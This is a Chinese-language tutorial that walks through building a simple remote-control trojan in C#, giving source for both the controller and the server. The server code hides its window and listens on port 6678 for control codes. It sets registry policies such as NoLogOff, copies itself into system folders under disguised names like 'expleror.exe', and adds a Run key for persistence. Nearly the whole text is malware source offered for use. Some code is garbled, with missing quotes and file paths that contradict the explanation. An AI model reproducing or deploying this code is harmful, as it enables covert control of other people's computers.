木馬的介紹
因為本文是探討木馬程序,所以在介紹之前有一些木馬構成的基本知識事先說明。一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。這裡主要對軟件部分介紹,它主要有控制端程序、木馬程序(後台服務程序)、木馬配制程序組成。控制端用以遠程控制服務端的程序;木馬程序是潛入服務端內部,獲取其操作權限的程序;木馬配制程序是設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏的更隱蔽的程序。
使用的技術:
控制端程序發送控制碼控制服務器,服務器後台運行,修改注冊表達到控制的目的。技術不是很難的,主要體現C#的網絡編程和注冊表的修改。
控制端開發:
控制端向服務器發出一段控制碼,服務端(木馬程序)收到控制碼後,根據控制的要求,完成指定的要求,如果服務器完成工作,返回成功的信息。
控制端的開發:
控制碼的設定你可以自已設定,不需要詳解,主要有以下幾個難點。
1、連接請求
使用了.NET類中的 System.Net.Sockets.TcpClIEnt類,
TcpClIEnt(string hostname,int port)
Hostname 是要控制的主機名稱,當然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件數據類的基類
private void button7_Click(object sender, System.EventArgs e)
{
//記錄操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText(請求連接 +textBox1.Text +\\r);
int port =6678;
try
{
//初始化 TcpClIEnt 類的新實例並連接到指定主機上的指定端口
client = new TcpClIEnt(textBox1.Text,port);
}
catch
{
MessageBox.Show(服務器不在線!確定是否輸入主機名稱.);
richTextBox1.AppendText(服務器不在線!確定是否輸入主機名稱.);
}
}//private void buttion
2、測試是否與被控制機連接上。程序的流程是發送控制碼看控制端是否有反應,如果有返回則顯示控制成功。 //提供網絡訪問的數據流
//private NetworkStream stream;
代碼如下:
private void button8_Click(object sender, System.EventArgs e)
{
//紀錄操作
richTextBox1.AppendText(測試連接 +\\r);
try
{
stream = clIEnt.GetStream();
if(stream.CanWrite)
{
//發送控制碼
string control = jiance;
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//啟動接收反回數據的線程
//receive是線程執行的函數,見後面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+\\r);
MessageBox.Show(ee.Message);
}
}
3、控制生效的代碼
private void button9_Click(object sender, System.EventArgs e)
{
//這裡是確定要發送的控制碼,RadioButton是窗體控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control ==000000)
{
MessageBox.Show(你沒有輸入任何控制目標!不發控制信號);
richTextBox1.AppendText(你沒有輸入任何控制目標!不發控制信號);
}
else if(control != 000000)
{
try
{
//記錄操作
richTextBox1.AppendText (control + 正在試圖控制,等待回應...... + \\r);
stream = clIEnt.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText(服務器未連接1控制無效! +\\r);
MessageBox.Show(服務器未連接1控制無效! +\\r);
}
}//else if
}
4、線程執行的函數
private void receive()
{
//設置讀取數據的空間
byte[] bb = new byte[3];
//讀取3個字節,i為實際讀取的字節數
int i = stream.Read(bb,0,3);
//轉換成字符串,如果是中文控制碼則用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc為我設置的服務器的返回碼 hjc為連接成功,hkz為控制成功
if(ss==hjc)
{
MessageBox.Show(連接成功);
richTextBox1.AppendText(連接成功);
}
if(ss== hkz)
{
richTextBox1.AppendText(control +控制成功+\\r);
MessageBox.Show(control +控制成功+\\r);
}
}
服務端的開發:
要實現木馬服務的程序,主要實現以下幾個功能:後台的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1、在VC#中,建立一個後台服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性“ShowInTaskbar”屬性設為false,讓它運行時不會在任務欄中顯示,並將屬性“Windowstate”屬性設為Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的起點和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClIEntSize = new System.Drawing.Size(368, 357);
//窗體名稱
this.Name = Form1;
//設置屬性讓它後台運行
this.ShowInTaskbar = false;
this.Text = Form1;
this.WindowState = System.Windows.Forms.FormWindowstate.Minimized;
}
2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:
public Form1() //窗體的構造函數
{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//加入你的偵聽代碼
//端口你可以自已設定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取合適的注冊表修改函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數如下,完整代碼見程序
private void reControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket = listener.AcceptSocket();
//如果連接成功執行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能
//修改注冊表加入編碼
switch (ss)
{
case jiance://測試連接,返回測試信息
string str =hjc;
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case zx1000:
//修改注冊表函數,自已定義,見下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case zx0100:
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default:
break;
}//case
}//while
} //private void reControlCode
3、C#中實現注冊表的修改,使用了.Net類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這裡我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PolicIEs\\\\Explorer
下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:
private void UnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變量
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改
key1 =
rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PolicIEs\\\\Explorer,true);
//設置子鍵的鍵名,和值
key1.SetValue (NoLogOff,1);
//關閉打開的子鍵
key1.Close();
//警告字符串設定
mystr = mystr +HKEY_LOCAL_MacHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PolicIEs\\\\Explorer鍵值Nologoff被修改!請將它置為0!;
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PolicIEs\\\\Explorer);
key2.SetValue(NoLogOff,1);
key2.Close();
mystr = mystr +HKEY_LOCAL_MacHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PolicIEs\\\\Explorer鍵值Nologoff被修改!請將它置為0!;
}
catch{}
}
}
4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C:\\\\winnnt\\\\system\\\\msDOSs.exe,同時換名稱。使用的.Net命名空間System.IO,它的作用是允許對數據流和文件進行同步和異步讀寫。這裡我們使用了System.IO.File類。
private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
//sourceFileName為要移動的文件名,destFileName為文件的新路徑
File.Move(C:\\\\winnnt\\\\system\\\\msDOSs.exe,d:\\\\winnt\\\\system32\\\\expleror.exe);
}
catch {}
//將新移的木馬程序設為自啟動.分析和前面一樣
try
{
key1 = rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,true);
key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run);
key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);
key1.Close();
}
catch{}
}
} //moveCC1()
到這裡一個簡單的C#的木馬就完成了。